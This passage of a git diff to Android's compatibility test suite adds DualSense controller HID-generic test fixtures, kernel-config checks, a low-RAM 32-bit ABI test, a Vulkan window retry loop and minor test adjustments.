+                public void send(int code, Intent intent, String resolvedType,
+                        IBinder whitelistToken, IIntentReceiver finishedReceiver,
+                        String requiredPermission, Bundle options) throws RemoteException {
+                    boolean dontKillApp =
+                            (session.getInstallFlags() & PackageManager.INSTALL_DONT_KILL_APP) != 0;
+                    result.complete(dontKillApp);
+                }
+            }));
+
+            // We are updating base.apk. Flag to be removed.
+            assertFalse(result.get());
+        } finally {
+            getUiAutomation().dropShellPermissionIdentity();
+        }
+    }
+
+    @Test
     public void testDataLoaderParamsApiV1() throws Exception {
         if (!mStreaming) {
             return;
diff --git a/tests/tests/content/src/android/content/pm/cts/ResourcesHardeningTest.java b/tests/tests/content/src/android/content/pm/cts/ResourcesHardeningTest.java
index 5385577..aafb494 100644
--- a/tests/tests/content/src/android/content/pm/cts/ResourcesHardeningTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/ResourcesHardeningTest.java
@@ -290,7 +290,7 @@
 
     private static class RemoteTest implements AutoCloseable {
         private static final int SPIN_SLEEP_MS = 500;
-        private static final long RESPONSE_TIMEOUT_MS = 60 * 1000;
+        private static final long RESPONSE_TIMEOUT_MS = 120 * 1000;
 
         private final ShellInstallSession mSession;
         private final String mTestName;
diff --git a/tests/tests/dpi2/OWNERS b/tests/tests/dpi2/OWNERS
new file mode 100644
index 0000000..bd3840b
--- /dev/null
+++ b/tests/tests/dpi2/OWNERS
@@ -0,0 +1 @@
+include platform/frameworks/base:/OWNERS
diff --git a/tests/tests/graphics/jni/VulkanPreTransformTestHelpers.cpp b/tests/tests/graphics/jni/VulkanPreTransformTestHelpers.cpp
index ecdf49d..6933080 100644
--- a/tests/tests/graphics/jni/VulkanPreTransformTestHelpers.cpp
+++ b/tests/tests/graphics/jni/VulkanPreTransformTestHelpers.cpp
@@ -23,6 +23,8 @@
 
 #include <android/log.h>
 #include <cstring>
+#include <chrono>
+#include <thread>
 
 #include "VulkanPreTransformTestHelpers.h"
 
@@ -135,7 +137,13 @@
 VkTestResult DeviceInfo::init(JNIEnv* env, jobject jSurface) {
     ASSERT(jSurface);
 
-    mWindow = ANativeWindow_fromSurface(env, jSurface);
+    // The native window may not be ready at this point yet (especially if the activity is
+    // restarted with rotation).
+    int wait_count = 0;
+    do {
+        mWindow = ANativeWindow_fromSurface(env, jSurface);
+        std::this_thread::sleep_for(std::chrono::seconds(1));
+    } while (!mWindow && wait_count++ < 10);
     ASSERT(mWindow);
 
     std::vector<VkExtensionProperties> supportedInstanceExtensions;
diff --git a/tests/tests/graphics/src/android/graphics/cts/OpenGlEsDeqpLevelTest.java b/tests/tests/graphics/src/android/graphics/cts/OpenGlEsDeqpLevelTest.java
index 1bb1106..323e32d 100644
--- a/tests/tests/graphics/src/android/graphics/cts/OpenGlEsDeqpLevelTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/OpenGlEsDeqpLevelTest.java
@@ -27,6 +27,7 @@
 import androidx.test.filters.SmallTest;
 import androidx.test.platform.app.InstrumentationRegistry;
 
+import com.android.compatibility.common.util.CddTest;
 import com.android.compatibility.common.util.PropertyUtil;
 
 import org.junit.Before;
@@ -60,6 +61,7 @@
         }
     }
 
+    @CddTest(requirement = "7.1.4.1/C-2-3,C-2-4")
     @Test
     public void testOpenGlEsDeqpLevel() {
         assumeTrue(
diff --git a/tests/tests/hardware/Android.bp b/tests/tests/hardware/Android.bp
index 7617806..9d723a4 100644
--- a/tests/tests/hardware/Android.bp
+++ b/tests/tests/hardware/Android.bp
@@ -34,6 +34,7 @@
         "androidx.test.ext.junit",
         "compatibility-device-util-axt",
         "cts-input-lib",
+        "cts-kernelinfo-lib",
         "ctstestrunner-axt",
         "cts-wm-util",
         "mockito-target-minus-junit4",
diff --git a/tests/tests/hardware/jni/Android.bp b/tests/tests/hardware/jni/Android.bp
index f8c2ff3..caf77f2 100644
--- a/tests/tests/hardware/jni/Android.bp
+++ b/tests/tests/hardware/jni/Android.bp
@@ -31,5 +31,5 @@
     ],
     stl: "none",
     sdk_version: "current",
-    clang: true,
+
 }
diff --git a/tests/tests/hardware/res/raw/sony_dualsense_bluetooth_keyeventtests_hid_generic.json b/tests/tests/hardware/res/raw/sony_dualsense_bluetooth_keyeventtests_hid_generic.json
new file mode 100644
index 0000000..a82e87b
--- /dev/null
+++ b/tests/tests/hardware/res/raw/sony_dualsense_bluetooth_keyeventtests_hid_generic.json
@@ -0,0 +1,170 @@
+[
+  {
+    "name": "Press BUTTON_A",
+    "reports": [
+      [0x01, 0x80, 0x83, 0x81, 0x81, 0x28, 0x00, 0x1c, 0x00, 0x00],
+      [0x01, 0x80, 0x83, 0x81, 0x81, 0x08, 0x00, 0x1c, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_A"},
+      {"action": "UP", "keycode": "BUTTON_A"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_B",
+    "reports": [
+      [0x01, 0x80, 0x83, 0x81, 0x81, 0x48, 0x00, 0x1c, 0x00, 0x00],
+      [0x01, 0x80, 0x83, 0x81, 0x81, 0x08, 0x00, 0x1c, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_B"},
+      {"action": "UP", "keycode": "BUTTON_B"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_X",
+    "reports": [
+      [0x01, 0x80, 0x83, 0x81, 0x81, 0x18, 0x00, 0x1c, 0x00, 0x00],
+      [0x01, 0x80, 0x83, 0x81, 0x81, 0x08, 0x00, 0x1c, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_X"},
+      {"action": "UP", "keycode": "BUTTON_X"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_Y",
+    "reports": [
+      [0x01, 0x80, 0x83, 0x81, 0x81, 0x88, 0x00, 0x1c, 0x00, 0x00],
+      [0x01, 0x80, 0x83, 0x81, 0x81, 0x08, 0x00, 0x1c, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_Y"},
+      {"action": "UP", "keycode": "BUTTON_Y"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_L1",
+    "reports": [
+      [0x01, 0x80, 0x83, 0x81, 0x81, 0x08, 0x01, 0x1c, 0x00, 0x00],
+      [0x01, 0x80, 0x83, 0x81, 0x81, 0x08, 0x00, 0x1c, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_L1"},
+      {"action": "UP", "keycode": "BUTTON_L1"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_R1",
+    "reports": [
+      [0x01, 0x80, 0x83, 0x81, 0x81, 0x08, 0x02, 0x1c, 0x00, 0x00],
+      [0x01, 0x80, 0x83, 0x81, 0x81, 0x08, 0x00, 0x1c, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_R1"},
+      {"action": "UP", "keycode": "BUTTON_R1"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_L2",
+    "reports": [
+      [0x01, 0x80, 0x83, 0x81, 0x81, 0x08, 0x04, 0x1c, 0x00, 0x00],
+      [0x01, 0x80, 0x83, 0x81, 0x81, 0x08, 0x00, 0x1c, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_L2"},
+      {"action": "UP", "keycode": "BUTTON_L2"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_R2",
+    "reports": [
+      [0x01, 0x80, 0x83, 0x81, 0x81, 0x08, 0x08, 0x1c, 0x00, 0x00],
+      [0x01, 0x80, 0x83, 0x81, 0x81, 0x08, 0x00, 0x1c, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_R2"},
+      {"action": "UP", "keycode": "BUTTON_R2"}
+    ]
+  },
+
+  {
+    "name": "Press left thumb button",
+    "reports": [
+      [0x01, 0x80, 0x83, 0x81, 0x81, 0x08, 0x40, 0x1c, 0x00, 0x00],
+      [0x01, 0x80, 0x83, 0x81, 0x81, 0x08, 0x00, 0x1c, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_THUMBL"},
+      {"action": "UP", "keycode": "BUTTON_THUMBL"}
+    ]
+  },
+
+  {
+    "name": "Press right thumb button",
+    "reports": [
+      [0x01, 0x80, 0x83, 0x81, 0x81, 0x08, 0x80, 0x1c, 0x00, 0x00],
+      [0x01, 0x80, 0x83, 0x81, 0x81, 0x08, 0x00, 0x1c, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_THUMBR"},
+      {"action": "UP", "keycode": "BUTTON_THUMBR"}
+    ]
+  },
+
+  {
+    "name": "Press 'share' ('sun rays' on the left of touchpad) button",
+    "reports": [
+      [0x01, 0x80, 0x83, 0x81, 0x81, 0x08, 0x10, 0x1c, 0x00, 0x00],
+      [0x01, 0x80, 0x83, 0x81, 0x81, 0x08, 0x00, 0x1c, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_SELECT"},
+      {"action": "UP", "keycode": "BUTTON_SELECT"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_OPTIONS (three horizontal bars right of touchpad)",
+    "reports": [
+      [0x01, 0x80, 0x83, 0x81, 0x81, 0x08, 0x20, 0x1c, 0x00, 0x00],
+      [0x01, 0x80, 0x83, 0x81, 0x81, 0x08, 0x00, 0x1c, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_START"},
+      {"action": "UP", "keycode": "BUTTON_START"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_PS",
+    "reports": [
+      [0x01, 0x80, 0x83, 0x81, 0x81, 0x08, 0x00, 0x35, 0x00, 0x00],
+      [0x01, 0x80, 0x83, 0x81, 0x81, 0x08, 0x00, 0x38, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_MODE"},
+      {"action": "UP", "keycode": "BUTTON_MODE"}
+    ]
+  }
+]
diff --git a/tests/tests/hardware/res/raw/sony_dualsense_bluetooth_motioneventtests_hid_generic.json b/tests/tests/hardware/res/raw/sony_dualsense_bluetooth_motioneventtests_hid_generic.json
new file mode 100644
index 0000000..1df0e5d
--- /dev/null
+++ b/tests/tests/hardware/res/raw/sony_dualsense_bluetooth_motioneventtests_hid_generic.json
@@ -0,0 +1,213 @@
+[
+  {
+    "name": "Initial check - should not produce any events",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+    ]
+  },
+
+  {
+    "name": "Press left DPAD key",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x06, 0x00, 0x1c, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_HAT_X": -1}},
+      {"action": "MOVE", "axes": {"AXIS_HAT_X": 0}}
+    ]
+  },
+
+  {
+    "name": "Press right DPAD key",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x02, 0x00, 0x1c, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_HAT_X": 1}},
+      {"action": "MOVE", "axes": {"AXIS_HAT_X": 0}}
+    ]
+  },
+
+  {
+    "name": "Press up DPAD key",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00, 0x1c, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_HAT_Y": -1}},
+      {"action": "MOVE", "axes": {"AXIS_HAT_Y": 0}}
+    ]
+  },
+
+  {
+    "name": "Press down DPAD key",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x04, 0x00, 0x1c, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_HAT_Y": 1}},
+      {"action": "MOVE", "axes": {"AXIS_HAT_Y": 0}}
+    ]
+  },
+
+  {
+    "name": "Left stick - press left",
+    "reports": [
+      [0x01, 0x40, 0x80, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_X": -0.5}},
+      {"action": "MOVE", "axes": {"AXIS_X": -1}},
+      {"action": "MOVE", "axes": {"AXIS_X": 0}}
+    ]
+  },
+
+  {
+    "name": "Left stick - press right",
+    "reports": [
+      [0x01, 0xbf, 0x80, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00],
+      [0x01, 0xff, 0x80, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_X": 0.5}},
+      {"action": "MOVE", "axes": {"AXIS_X": 1}},
+      {"action": "MOVE", "axes": {"AXIS_X": 0}}
+    ]
+  },
+
+  {
+    "name": "Left stick - press up",
+    "reports": [
+      [0x01, 0x80, 0x40, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00],
+      [0x01, 0x80, 0x00, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_Y": -0.5}},
+      {"action": "MOVE", "axes": {"AXIS_Y": -1}},
+      {"action": "MOVE", "axes": {"AXIS_Y": 0}}
+    ]
+  },
+
+  {
+    "name": "Left stick - press down",
+    "reports": [
+      [0x01, 0x80, 0xbf, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00],
+      [0x01, 0x80, 0xff, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_Y": 0.5}},
+      {"action": "MOVE", "axes": {"AXIS_Y": 1}},
+      {"action": "MOVE", "axes": {"AXIS_Y": 0}}
+    ]
+  },
+
+  {
+    "name": "Right stick - press left",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x40, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x00, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_Z": -0.5}},
+      {"action": "MOVE", "axes": {"AXIS_Z": -1}},
+      {"action": "MOVE", "axes": {"AXIS_Z": 0}}
+    ]
+  },
+
+  {
+    "name": "Right stick - press right",
+    "reports": [
+      [0x01, 0x80, 0x80, 0xbf, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0xff, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_Z": 0.5}},
+      {"action": "MOVE", "axes": {"AXIS_Z": 1}},
+      {"action": "MOVE", "axes": {"AXIS_Z": 0}}
+    ]
+  },
+
+  {
+    "name": "Right stick - press up",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x40, 0x08, 0x00, 0x1c, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x00, 0x08, 0x00, 0x1c, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_RZ": -0.5}},
+      {"action": "MOVE", "axes": {"AXIS_RZ": -1}},
+      {"action": "MOVE", "axes": {"AXIS_RZ": 0}}
+    ]
+  },
+
+  {
+    "name": "Right stick - press down",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0xbf, 0x08, 0x00, 0x1c, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0xff, 0x08, 0x00, 0x1c, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_RZ": 0.5}},
+      {"action": "MOVE", "axes": {"AXIS_RZ": 1}},
+      {"action": "MOVE", "axes": {"AXIS_RZ": 0}}
+    ]
+  },
+
+  {
+    "name": "Left trigger - quick press",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x80, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x1c, 0xff, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_LTRIGGER": 0.5, "AXIS_BRAKE": 0.5}},
+      {"action": "MOVE", "axes": {"AXIS_LTRIGGER": 1.0, "AXIS_BRAKE": 1.0}},
+      {"action": "MOVE", "axes": {"AXIS_LTRIGGER": 0, "AXIS_BRAKE": 0}}
+    ]
+  },
+
+  {
+    "name": "Right trigger - quick press",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x80],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x00, 0xff],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x1c, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_RTRIGGER": 0.5, "AXIS_GAS": 0.5}},
+      {"action": "MOVE", "axes": {"AXIS_RTRIGGER": 1.0, "AXIS_GAS": 1.0}},
+      {"action": "MOVE", "axes": {"AXIS_RTRIGGER": 0, "AXIS_GAS": 0}}
+    ]
+  }
+]
diff --git a/tests/tests/hardware/res/raw/sony_dualsense_bluetooth_register.json b/tests/tests/hardware/res/raw/sony_dualsense_bluetooth_register.json
index 3d4f9e8..d7aa81e 100644
--- a/tests/tests/hardware/res/raw/sony_dualsense_bluetooth_register.json
+++ b/tests/tests/hardware/res/raw/sony_dualsense_bluetooth_register.json
@@ -5,7 +5,7 @@
   "vid": 0x054c,
   "pid": 0x0ce6,
   "bus": "bluetooth",
-  "source": "KEYBOARD | GAMEPAD | JOYSTICK | MOUSE | SENSOR",
+  "source": "KEYBOARD | GAMEPAD | JOYSTICK",
   "descriptor": [
     0x05, 0x01, 0x09, 0x05, 0xa1, 0x01, 0x85, 0x01, 0x09, 0x30, 0x09, 0x31, 0x09, 0x32, 0x09, 0x35,
     0x15, 0x00, 0x26, 0xff, 0x00, 0x75, 0x08, 0x95, 0x04, 0x81, 0x02, 0x09, 0x39, 0x15, 0x00, 0x25,
diff --git a/tests/tests/hardware/res/raw/sony_dualsense_usb_register.json b/tests/tests/hardware/res/raw/sony_dualsense_usb_register.json
index e40d5a6..f551931 100644
--- a/tests/tests/hardware/res/raw/sony_dualsense_usb_register.json
+++ b/tests/tests/hardware/res/raw/sony_dualsense_usb_register.json
@@ -5,7 +5,7 @@
   "vid": 0x054c,
   "pid": 0x0ce6,
   "bus": "usb",
-  "source": "KEYBOARD | GAMEPAD | JOYSTICK | MOUSE | SENSOR",
+  "source": "KEYBOARD | GAMEPAD | JOYSTICK",
   "descriptor": [
     0x05, 0x01, 0x09, 0x05, 0xa1, 0x01, 0x85, 0x01, 0x09, 0x30, 0x09, 0x31, 0x09, 0x32, 0x09, 0x35,
     0x09, 0x33, 0x09, 0x34, 0x15, 0x00, 0x26, 0xff, 0x00, 0x75, 0x08, 0x95, 0x06, 0x81, 0x02, 0x06,
diff --git a/tests/tests/hardware/src/android/hardware/cts/LowRamDeviceTest.java b/tests/tests/hardware/src/android/hardware/cts/LowRamDeviceTest.java
index a9ddfc7..cded9f5 100644
--- a/tests/tests/hardware/src/android/hardware/cts/LowRamDeviceTest.java
+++ b/tests/tests/hardware/src/android/hardware/cts/LowRamDeviceTest.java
@@ -28,6 +28,7 @@
 import static android.util.DisplayMetrics.DENSITY_TV;
 import static android.util.DisplayMetrics.DENSITY_XHIGH;
 
+import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
 
@@ -172,6 +173,15 @@
         }
     }
 
+    @Test
+    @CddTest(requirement = "7.6.1/H-1-1")
+    public void test32BitOnlyIfLessThan2GiB() {
+        if (getTotalMemory() < 2048 * ONE_MEGABYTE) {
+            assertEquals("Devices with less than 2GiB MUST support only 32-bit ABIs",
+                         0, Build.SUPPORTED_64_BIT_ABIS.length);
+        }
+    }
+
     /**
      * @return the total memory accessible by the kernel as defined by
      * {@code ActivityManager.MemoryInfo}.
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/InputHidTestCase.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/InputHidTestCase.java
index 07a080a..0b5afc3 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/InputHidTestCase.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/InputHidTestCase.java
@@ -39,10 +39,7 @@
 import android.os.VibrationEffect;
 import android.os.Vibrator;
 import android.os.Vibrator.OnVibratorStateChangedListener;
-import android.os.VintfRuntimeInfo;
-import android.text.TextUtils;
 import android.util.Log;
-import android.util.Pair;
 import android.view.InputDevice;
 
 import androidx.annotation.CallSuper;
@@ -63,8 +60,6 @@
 import java.util.Arrays;
 import java.util.List;
 import java.util.Map;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
 
 public class InputHidTestCase extends InputTestCase {
     private static final String TAG = "InputHidTestCase";
@@ -106,43 +101,15 @@
         mDelayAfterSetup = true;
     }
 
+    protected int getAdditionalSources() {
+        return 0;
+    }
+
     /** Check if input device has specific capability */
     interface Capability {
         boolean check(InputDevice inputDevice);
     }
 
-    private static Pair<Integer, Integer> getVersionFromString(String version) {
-        // Only gets major and minor number of the version string.
-        final Pattern versionPattern = Pattern.compile("^(\\d+)(\\.(\\d+))?.*");
-        final Matcher m = versionPattern.matcher(version);
-        if (m.matches()) {
-            final int major = Integer.parseInt(m.group(1));
-            final int minor = TextUtils.isEmpty(m.group(3)) ? 0 : Integer.parseInt(m.group(3));
-
-            return new Pair<>(major, minor);
-
-        } else {
-            fail("Cannot parse kernel version: " + version);
-            return new Pair<>(0, 0);
-        }
-    }
-
-    private static int compareMajorMinorVersion(final String s1, final String s2) throws Exception {
-        final Pair<Integer, Integer> v1 = getVersionFromString(s1);
-        final Pair<Integer, Integer> v2 = getVersionFromString(s2);
-
-        if (v1.first == v2.first) {
-            return Integer.compare(v1.second, v2.second);
-        } else {
-            return Integer.compare(v1.first, v2.first);
-        }
-    }
-
-    protected static boolean isKernelVersionGreaterThan(String version) throws Exception {
-        final String actualVersion = VintfRuntimeInfo.getKernelVersion();
-        return compareMajorMinorVersion(actualVersion, version) > 0;
-    }
-
     /** Gets an input device with specific capability */
     private InputDevice getInputDevice(Capability capability) {
         final InputManager inputManager =
@@ -202,8 +169,8 @@
     protected void setUpDevice(int id, int vendorId, int productId, int sources,
             String registerCommand) {
         mDeviceId = id;
-        mHidDevice = new HidDevice(mInstrumentation, id, vendorId, productId, sources,
-                registerCommand);
+        mHidDevice = new HidDevice(mInstrumentation, id, vendorId, productId,
+                sources | getAdditionalSources(), registerCommand);
         assertNotNull(mHidDevice);
     }
 
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java
index 209b912..841f161 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java
@@ -43,7 +43,10 @@
 import org.junit.Rule;
 
 import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.HashSet;
 import java.util.List;
+import java.util.Set;
 import java.util.concurrent.BlockingQueue;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.LinkedBlockingQueue;
@@ -53,6 +56,13 @@
     private static final String TAG = "InputTestCase";
     private static final float TOLERANCE = 0.005f;
 
+    // Ignore comparing input values for these axes. This is used to prevent breakages caused by
+    // OEMs using custom key layouts to remap GAS/BRAKE to RTRIGGER/LTRIGGER (for example,
+    // b/197062720).
+    private static final Set<Integer> IGNORE_AXES = new HashSet<>(Arrays.asList(
+            MotionEvent.AXIS_LTRIGGER, MotionEvent.AXIS_RTRIGGER,
+            MotionEvent.AXIS_GAS, MotionEvent.AXIS_BRAKE));
+
     private final BlockingQueue<InputEvent> mEvents;
     protected final Instrumentation mInstrumentation = InstrumentationRegistry.getInstrumentation();
 
@@ -176,6 +186,7 @@
     void assertAxis(String testCase, MotionEvent expectedEvent, MotionEvent actualEvent) {
         for (int i = 0; i < actualEvent.getPointerCount(); i++) {
             for (int axis = MotionEvent.AXIS_X; axis <= MotionEvent.AXIS_GENERIC_16; axis++) {
+                if (IGNORE_AXES.contains(axis)) continue;
                 assertEquals(testCase + " pointer " + i
                         + " (" + MotionEvent.axisToString(axis) + ")",
                         expectedEvent.getAxisValue(axis, i), actualEvent.getAxisValue(axis, i),
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualSenseBluetoothTest.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualSenseBluetoothTest.java
index e42e2ae..bed7f6a 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualSenseBluetoothTest.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualSenseBluetoothTest.java
@@ -16,17 +16,21 @@
 
 package android.hardware.input.cts.tests;
 
+import static org.junit.Assert.assertTrue;
 import static org.junit.Assume.assumeTrue;
 
 import android.hardware.cts.R;
+import android.view.InputDevice;
 
 import androidx.test.ext.junit.runners.AndroidJUnit4;
-import androidx.test.filters.SmallTest;
+import androidx.test.filters.MediumTest;
+
+import com.android.cts.kernelinfo.KernelInfo;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-@SmallTest
+@MediumTest
 @RunWith(AndroidJUnit4.class)
 public class SonyDualSenseBluetoothTest extends InputHidTestCase {
 
@@ -36,24 +40,47 @@
     }
 
     @Override
-    public void setUp() throws Exception {
-        // Do not run this test for kernel versions 4.19 and below
-        assumeTrue(isKernelVersionGreaterThan("4.19"));
-        super.setUp();
+    protected int getAdditionalSources() {
+        if (KernelInfo.hasConfig("CONFIG_HID_PLAYSTATION")) {
+            return InputDevice.SOURCE_MOUSE | InputDevice.SOURCE_SENSOR;
+        }
+        return 0;
+    }
+
+    /**
+     * Basic support is required on all kernels. After kernel 4.19, devices must have
+     * CONFIG_HID_PLAYSTATION enabled, which supports advanced features like haptics.
+     */
+    @Test
+    public void kernelModule() {
+        if (KernelInfo.isKernelVersionGreaterThan("4.19")) {
+            assertTrue(KernelInfo.hasConfig("CONFIG_HID_PLAYSTATION"));
+        }
+        assertTrue(KernelInfo.hasConfig("CONFIG_HID_GENERIC"));
     }
 
     @Test
     public void testAllKeys() {
-        testInputEvents(R.raw.sony_dualsense_bluetooth_keyeventtests);
+        if (KernelInfo.hasConfig("CONFIG_HID_PLAYSTATION")) {
+            testInputEvents(R.raw.sony_dualsense_bluetooth_keyeventtests);
+        } else {
+            testInputEvents(R.raw.sony_dualsense_bluetooth_keyeventtests_hid_generic);
+        }
     }
 
     @Test
     public void testAllMotions() {
-        testInputEvents(R.raw.sony_dualsense_bluetooth_motioneventtests);
+        if (KernelInfo.hasConfig("CONFIG_HID_PLAYSTATION")) {
+            testInputEvents(R.raw.sony_dualsense_bluetooth_motioneventtests);
+        } else {
+            testInputEvents(R.raw.sony_dualsense_bluetooth_motioneventtests_hid_generic);
